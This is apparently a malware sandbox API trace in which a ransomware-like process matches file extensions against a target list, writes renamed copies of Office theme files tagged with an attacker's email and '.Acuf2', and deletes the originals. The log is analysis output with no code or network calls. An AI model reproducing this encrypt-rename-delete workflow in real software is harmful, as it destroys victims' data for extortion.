	[0257.828] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81
	[0257.828] lstrlenW (lpString=".dbf") returned 4
	[0257.828] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81
	[0257.828] lstrlenW (lpString=".1cd") returned 4
	[0257.828] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81
	[0257.828] lstrlenW (lpString=".jpg") returned 4
	[0257.828] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81
	[0257.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81
	[0257.828] lstrlenW (lpString=".doc") returned 4
	[0257.828] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.828] lstrlenW (lpString=".docx") returned 5
	[0257.829] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.829] lstrlenW (lpString=".pdf") returned 4
	[0257.829] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.829] lstrlenW (lpString=".xls") returned 4
	[0257.829] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.829] lstrlenW (lpString=".xlsx") returned 5
	[0257.829] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.829] lstrlenW (lpString=".ppt") returned 4
	[0257.829] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81
	[0257.829] lstrlenW (lpString=".zip") returned 4
	[0257.829] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.829] lstrlenW (lpString=".rar") returned 4
	[0257.829] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.829] lstrlenW (lpString=".bz2") returned 4
	[0257.829] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.829] lstrlenW (lpString=".7z") returned 3
	[0257.829] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81
	[0257.829] lstrlenW (lpString=".dbf") returned 4
	[0257.829] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81
	[0257.829] lstrlenW (lpString=".1cd") returned 4
	[0257.829] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81
	[0257.829] lstrlenW (lpString=".jpg") returned 4
	[0257.829] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.830] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0257.830] lstrlenW (lpString="Oriel.eftx") returned 10
	[0257.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.908] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=43193) returned 1
	[0257.908] CloseHandle (hObject=0x344) returned 1
	[0257.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx")) returned 0x20
	[0257.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.908] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.908] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0257.909] GetLastError () returned 0x0
	[0257.909] ReadFile (in: hFile=0x344, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0xa8b9, lpOverlapped=0x0) returned 1
	[0257.916] WriteFile (in: hFile=0x320, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xa8c0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xa8c0, lpOverlapped=0x0) returned 1
	[0257.917] ReadFile (in: hFile=0x344, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.917] WriteFile (in: hFile=0x320, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0257.917] SetEndOfFile (hFile=0x320) returned 1
	[0257.917] CloseHandle (hObject=0x320) returned 1
	[0257.917] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.917] SetEndOfFile (hFile=0x344) returned 1
	[0257.920] CloseHandle (hObject=0x344) returned 1
	[0257.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx")) returned 1
	[0257.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77
	[0257.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77
	[0257.952] lstrlenW (lpString=".doc") returned 4
	[0257.952] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.952] lstrlenW (lpString=".docx") returned 5
	[0257.952] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.952] lstrlenW (lpString=".pdf") returned 4
	[0257.952] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.952] lstrlenW (lpString=".xls") returned 4
	[0257.952] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.952] lstrlenW (lpString=".xlsx") returned 5
	[0257.952] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.952] lstrlenW (lpString=".ppt") returned 4
	[0257.952] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77
	[0257.952] lstrlenW (lpString=".zip") returned 4
	[0257.952] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.952] lstrlenW (lpString=".rar") returned 4
	[0257.952] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.952] lstrlenW (lpString=".bz2") returned 4
	[0257.952] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.952] lstrlenW (lpString=".7z") returned 3
	[0257.952] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77
	[0257.952] lstrlenW (lpString=".dbf") returned 4
	[0257.952] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77
	[0257.952] lstrlenW (lpString=".1cd") returned 4
	[0257.952] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77
	[0257.952] lstrlenW (lpString=".jpg") returned 4
	[0257.953] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77
	[0257.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77
	[0257.953] lstrlenW (lpString=".doc") returned 4
	[0257.953] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.953] lstrlenW (lpString=".docx") returned 5
	[0257.953] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.953] lstrlenW (lpString=".pdf") returned 4
	[0257.953] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.953] lstrlenW (lpString=".xls") returned 4
	[0257.953] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.953] lstrlenW (lpString=".xlsx") returned 5
	[0257.953] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.953] lstrlenW (lpString=".ppt") returned 4
	[0257.953] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77
	[0257.953] lstrlenW (lpString=".zip") returned 4
	[0257.954] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.954] lstrlenW (lpString=".rar") returned 4
	[0257.954] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.954] lstrlenW (lpString=".bz2") returned 4
	[0257.954] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.954] lstrlenW (lpString=".7z") returned 3
	[0257.954] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77
	[0257.954] lstrlenW (lpString=".dbf") returned 4
	[0257.954] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77
	[0257.954] lstrlenW (lpString=".1cd") returned 4
	[0257.954] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77
	[0257.954] lstrlenW (lpString=".jpg") returned 4
	[0257.954] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.954] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0257.954] lstrlenW (lpString="Perspective.eftx") returned 16
	[0257.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0257.975] GetFileSizeEx (in: hFile=0x270, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=21423) returned 1
	[0257.975] CloseHandle (hObject=0x270) returned 1
	[0257.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx")) returned 0x20
	[0257.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0257.975] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.975] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0257.976] GetLastError () returned 0x0
	[0257.976] ReadFile (in: hFile=0x270, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x53af, lpOverlapped=0x0) returned 1
	[0257.978] WriteFile (in: hFile=0x320, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x53b0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x53b0, lpOverlapped=0x0) returned 1
	[0257.979] ReadFile (in: hFile=0x270, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.979] WriteFile (in: hFile=0x320, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0257.979] SetEndOfFile (hFile=0x320) returned 1
	[0257.979] CloseHandle (hObject=0x320) returned 1
	[0257.980] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.980] SetEndOfFile (hFile=0x270) returned 1
	[0257.991] CloseHandle (hObject=0x270) returned 1
	[0257.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx")) returned 1
	[0257.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83
	[0257.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83
	[0257.992] lstrlenW (lpString=".doc") returned 4
	[0257.992] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.992] lstrlenW (lpString=".docx") returned 5
	[0257.992] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.992] lstrlenW (lpString=".pdf") returned 4
	[0257.993] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.993] lstrlenW (lpString=".xls") returned 4
	[0257.993] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.993] lstrlenW (lpString=".xlsx") returned 5
	[0257.993] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.993] lstrlenW (lpString=".ppt") returned 4
	[0257.993] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83
	[0257.993] lstrlenW (lpString=".zip") returned 4
	[0257.993] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.993] lstrlenW (lpString=".rar") returned 4
	[0257.993] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.112] lstrlenW (lpString=".bz2") returned 4
	[0258.112] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.112] lstrlenW (lpString=".7z") returned 3
	[0258.112] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83
	[0258.112] lstrlenW (lpString=".dbf") returned 4
	[0258.112] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83
	[0258.112] lstrlenW (lpString=".1cd") returned 4
	[0258.112] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83
	[0258.112] lstrlenW (lpString=".jpg") returned 4
	[0258.112] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83
	[0258.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83
	[0258.112] lstrlenW (lpString=".doc") returned 4
	[0258.112] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.112] lstrlenW (lpString=".docx") returned 5
	[0258.112] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.112] lstrlenW (lpString=".pdf") returned 4
	[0258.112] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.112] lstrlenW (lpString=".xls") returned 4
	[0258.112] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.112] lstrlenW (lpString=".xlsx") returned 5
	[0258.112] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.112] lstrlenW (lpString=".ppt") returned 4
	[0258.112] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83
	[0258.113] lstrlenW (lpString=".zip") returned 4
	[0258.113] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.113] lstrlenW (lpString=".rar") returned 4
	[0258.113] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.113] lstrlenW (lpString=".bz2") returned 4
	[0258.113] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.113] lstrlenW (lpString=".7z") returned 3
	[0258.113] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83
	[0258.113] lstrlenW (lpString=".dbf") returned 4
	[0258.113] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83
	[0258.113] lstrlenW (lpString=".1cd") returned 4
	[0258.113] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83
	[0258.113] lstrlenW (lpString=".jpg") returned 4
	[0258.113] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.113] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0258.113] lstrlenW (lpString="Technic.eftx") returned 12
	[0258.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0258.203] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=23692) returned 1
	[0258.203] CloseHandle (hObject=0x218) returned 1
	[0258.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx")) returned 0x20
	[0258.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0258.224] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.224] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0258.264] GetLastError () returned 0x0
	[0258.264] ReadFile (in: hFile=0x218, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x5c8c, lpOverlapped=0x0) returned 1
	[0258.276] WriteFile (in: hFile=0x29c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x5c90, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x5c90, lpOverlapped=0x0) returned 1
	[0258.277] ReadFile (in: hFile=0x218, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.277] WriteFile (in: hFile=0x29c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0258.277] SetEndOfFile (hFile=0x29c) returned 1
	[0258.277] CloseHandle (hObject=0x29c) returned 1
	[0258.277] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.277] SetEndOfFile (hFile=0x218) returned 1
	[0258.280] CloseHandle (hObject=0x218) returned 1
	[0258.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx")) returned 1
	[0258.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79
	[0258.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79
	[0258.280] lstrlenW (lpString=".doc") returned 4
	[0258.281] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.281] lstrlenW (lpString=".docx") returned 5
	[0258.281] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.281] lstrlenW (lpString=".pdf") returned 4
	[0258.281] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.281] lstrlenW (lpString=".xls") returned 4
	[0258.281] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.281] lstrlenW (lpString=".xlsx") returned 5
	[0258.281] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.281] lstrlenW (lpString=".ppt") returned 4
	[0258.281] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79
	[0258.281] lstrlenW (lpString=".zip") returned 4
	[0258.281] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.281] lstrlenW (lpString=".rar") returned 4
	[0258.281] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.281] lstrlenW (lpString=".bz2") returned 4
	[0258.281] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.281] lstrlenW (lpString=".7z") returned 3
	[0258.281] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79
	[0258.281] lstrlenW (lpString=".dbf") returned 4
	[0258.281] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79
